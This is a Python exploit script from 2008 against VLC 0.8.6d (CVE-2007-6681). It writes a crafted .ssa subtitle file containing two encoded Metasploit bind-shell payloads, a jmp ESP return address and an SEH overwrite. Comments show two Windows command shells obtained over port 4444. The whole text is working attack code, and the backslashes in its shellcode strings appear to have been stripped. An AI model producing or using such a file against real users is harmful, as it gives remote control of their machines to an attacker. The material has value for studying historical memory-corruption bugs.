vlc-doubleshell.txt
Posted on 24 May 2008
#!/usr/bin/python # # VLC 0.8.6d Double Sh311 Universal Exploit # CVE-2007-6681 # Vulnerability Discovered by Michal Luczaj # # Coded by Muris Kurgas aka j0rgan http://www.jorgan.users.cg.yu/ # and # Matteo Memelli aka ryujin http://www.be4mind.com - http://www.gray-world.net # WE CODED IT JUST FOR FUN ;) # Cheers to #offsec and all our firends :) and prelate_ hehe #----------------------------------------------------------------------------- # # FIRST SHELL -> NORMAL RET OVERWRITE -> WE OWN EIP # # matte@badrobot:~$ telnet 192.168.1.245 4444 # Trying 192.168.1.245... # Connected to 192.168.1.245. # Escape character is '^]'. # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:Program FilesVideoLANVLC>exit # exit # # AT "EXIT" SEH is CALLED and WE OWN EIP AGAIN :P # SECOND SHELL -> SEH OVERFLOW # # Connection closed by foreign host. # matte@badrobot:~$ telnet 192.168.1.245 4444 # Trying 192.168.1.245... # Connected to 192.168.1.245. # Escape character is '^]'. # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:Program FilesVideoLANVLC> #----------------------------------------------------------------------------- # win32_bind - EXITFUNC=seh LPORT=4444 # Size=709 Encoder=PexAlphaNum http://metasploit.com SHELLCODE1 = ( "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e" "x4dx34x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x46x4bx48" "x4ex36x46x52x46x32x4bx38x45x54x4ex43x4bx48x4ex37" "x45x50x4ax37x41x50x4fx4ex4bx38x4fx44x4ax51x4bx38" "x4fx45x42x52x41x30x4bx4ex49x54x4bx48x46x43x4bx48" "x41x30x50x4ex41x43x42x4cx49x49x4ex4ax46x48x42x4c" "x46x57x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e" "x46x4fx4bx33x46x55x46x52x4ax32x45x57x45x4ex4bx48" "x4fx35x46x42x41x30x4bx4ex48x36x4bx58x4ex50x4bx44" "x4bx48x4fx45x4ex51x41x50x4bx4ex43x50x4ex52x4bx48" "x49x38x4ex36x46x42x4ex51x41x46x43x4cx41x33x4bx4d" "x46x56x4bx58x43x54x42x33x4bx48x42x34x4ex50x4bx38" "x42x57x4ex31x4dx4ax4bx38x42x34x4ax50x50x35x4ax36" "x50x48x50x54x50x50x4ex4ex42x55x4fx4fx48x4dx48x56" "x43x35x48x56x4ax56x43x53x44x53x4ax36x47x37x43x57" "x44x33x4fx55x46x35x4fx4fx42x4dx4ax56x4bx4cx4dx4e" "x4ex4fx4bx53x42x35x4fx4fx48x4dx4fx45x49x48x45x4e" "x48x46x41x58x4dx4ex4ax50x44x30x45x55x4cx46x44x50" "x4fx4fx42x4dx4ax56x49x4dx49x30x45x4fx4dx4ax47x55" "x4fx4fx48x4dx43x45x43x45x43x55x43x55x43x45x43x34" "x43x55x43x34x43x55x4fx4fx42x4dx48x46x4ax56x41x51" "x4ex55x48x46x43x45x49x58x41x4ex45x49x4ax56x46x4a" "x4cx51x42x47x47x4cx47x35x4fx4fx48x4dx4cx56x42x31" "x41x45x45x45x4fx4fx42x4dx4ax46x46x4ax4dx4ax50x52" "x49x4ex47x35x4fx4fx48x4dx43x35x45x35x4fx4fx42x4d" "x4ax36x45x4ex49x34x48x38x49x54x47x45x4fx4fx48x4d" "x42x45x46x55x46x35x45x55x4fx4fx42x4dx43x59x4ax46" "x47x4ex49x57x48x4cx49x47x47x35x4fx4fx48x4dx45x45" "x4fx4fx42x4dx48x56x4cx46x46x56x48x46x4ax36x43x36" "x4dx56x49x38x45x4ex4cx56x42x55x49x55x49x42x4ex4c" "x49x58x47x4ex4cx36x46x54x49x58x44x4ex41x43x42x4c" "x43x4fx4cx4ax50x4fx44x54x4dx52x50x4fx44x54x4ex42" "x43x49x4dx48x4cx47x4ax43x4bx4ax4bx4ax4bx4ax4ax46" "x44x57x50x4fx43x4bx48x31x4fx4fx45x37x46x54x4fx4f" "x48x4dx4bx55x47x55x44x45x41x55x41x55x41x35x4cx46" "x41x30x41x35x41x55x45x55x41x35x4fx4fx42x4dx4ax46" "x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx36" "x4fx4fx4fx4fx47x53x4fx4fx42x4dx4bx58x47x35x4ex4f" "x43x48x46x4cx46x56x4fx4fx48x4dx44x35x4fx4fx42x4d" "x4ax36x42x4fx4cx38x46x50x4fx35x43x55x4fx4fx48x4d" "x4fx4fx42x4dx5a" ) # win32_bind - EXITFUNC=thread LPORT=4444 # [*] x86/alpha_mixed succeeded, final size 698 SHELLCODE2 = ( "x89xe7xd9xcbxd9x77xf4x58x50x59x49x49x49x49x49" "x49x49x49x49x49x43x43x43x43x43x43x37x51x5ax6a" "x41x58x50x30x41x30x41x6bx41x41x51x32x41x42x32" "x42x42x30x42x42x41x42x58x50x38x41x42x75x4ax49" "x4bx4cx42x4ax4ax4bx50x4dx4ax48x4ax59x4bx4fx4b" "x4fx4bx4fx45x30x4cx4bx42x4cx46x44x51x34x4cx4b" "x51x55x47x4cx4cx4bx43x4cx45x55x42x58x43x31x4a" "x4fx4cx4bx50x4fx42x38x4cx4bx51x4fx51x30x43x31" "x4ax4bx50x49x4cx4bx50x34x4cx4bx43x31x4ax4ex50" "x31x49x50x4dx49x4ex4cx4cx44x49x50x42x54x43x37" "x49x51x49x5ax44x4dx45x51x49x52x4ax4bx4bx44x47" "x4bx51x44x47x54x47x58x42x55x4bx55x4cx4bx51x4f" "x47x54x43x31x4ax4bx45x36x4cx4bx44x4cx50x4bx4c" "x4bx51x4fx45x4cx43x31x4ax4bx43x33x46x4cx4cx4b" "x4dx59x42x4cx47x54x45x4cx45x31x48x43x50x31x49" "x4bx45x34x4cx4bx50x43x50x30x4cx4bx47x30x44x4c" "x4cx4bx44x30x45x4cx4ex4dx4cx4bx47x30x43x38x51" "x4ex43x58x4cx4ex50x4ex44x4ex4ax4cx50x50x4bx4f" "x4ex36x45x36x50x53x45x36x42x48x46x53x50x32x42" "x48x42x57x42x53x46x52x51x4fx51x44x4bx4fx4ex30" "x42x48x48x4bx4ax4dx4bx4cx47x4bx46x30x4bx4fx4e" "x36x51x4fx4bx39x4bx55x42x46x4bx31x4ax4dx43x38" "x45x52x46x35x43x5ax43x32x4bx4fx4ex30x45x38x4e" "x39x44x49x4cx35x4ex4dx50x57x4bx4fx48x56x50x53" "x51x43x46x33x46x33x51x43x47x33x51x43x47x33x51" "x43x4bx4fx4ex30x43x56x43x58x44x51x51x4cx45x36" "x46x33x4dx59x4bx51x4ax35x42x48x4ex44x45x4ax42" "x50x49x57x46x37x4bx4fx4ex36x43x5ax44x50x50x51" "x50x55x4bx4fx48x50x42x48x49x34x4ex4dx46x4ex4b" "x59x46x37x4bx4fx48x56x51x43x46x35x4bx4fx48x50" "x45x38x4bx55x51x59x4dx56x47x39x51x47x4bx4fx48" "x56x46x30x46x34x46x34x51x45x4bx4fx4ex30x4ax33" "x45x38x4dx37x43x49x48x46x43x49x51x47x4bx4fx4e" "x36x51x45x4bx4fx48x50x43x56x43x5ax43x54x43x56" "x43x58x42x43x42x4dx4bx39x4bx55x42x4ax50x50x46" "x39x46x49x48x4cx4bx39x4dx37x42x4ax47x34x4dx59" "x4bx52x50x31x49x50x4cx33x4ex4ax4bx4ex51x52x46" "x4dx4bx4ex47x32x46x4cx4ax33x4cx4dx43x4ax47x48" "x4ex4bx4ex4bx4ex4bx45x38x43x42x4bx4ex4ex53x44" "x56x4bx4fx44x35x47x34x4bx4fx49x46x51x4bx50x57" "x46x32x50x51x46x31x50x51x43x5ax45x51x46x31x46" "x31x46x35x46x31x4bx4fx48x50x45x38x4ex4dx48x59" "x44x45x48x4ex51x43x4bx4fx49x46x43x5ax4bx4fx4b" "x4fx50x37x4bx4fx4ex30x4cx4bx51x47x4bx4cx4bx33" "x48x44x42x44x4bx4fx49x46x50x52x4bx4fx4ex30x42" "x48x4ax4fx48x4ex4dx30x45x30x46x33x4bx4fx49x46" "x4bx4fx4ex30x44x4ax41x41" ) OFFSET1 = 'A'*152242 NOP1 = 'x90'*16 OFFSET2 = 'B'*10901 JMPESP = 'x59x65xFEx62' # 0x62FE6559 jmp ESP libvlc.dll OFFSET3 = 'C'*674 SEH = 'x66x14x40' # POP POP RET in vlc.exe JMPBACK = 'xE9x2ExCDxFFxFF' # ^E9 2ECDFFFF JMP 0250CCD2 JMPS = 'xEBxF9x90x90' EVIL = OFFSET1 + NOP1 + SHELLCODE1 + OFFSET2 + JMPESP + SHELLCODE1 + OFFSET3 + JMPBACK + JMPS + SEH fileHandle = open('film1.ssa', 'w' ) fileHandle.write('[Script Info] ') fileHandle.write('ScriptType: v4.00 ') fileHandle.write('Title: VLC 0.8.6d buffer-overflow ') fileHandle.write('Collisions: Normal ') fileHandle.write('[V4 Styles] ') fileHandle.write('[Events] ') fileHandle.write('Dialogue: '+ EVIL) fileHandle.close()
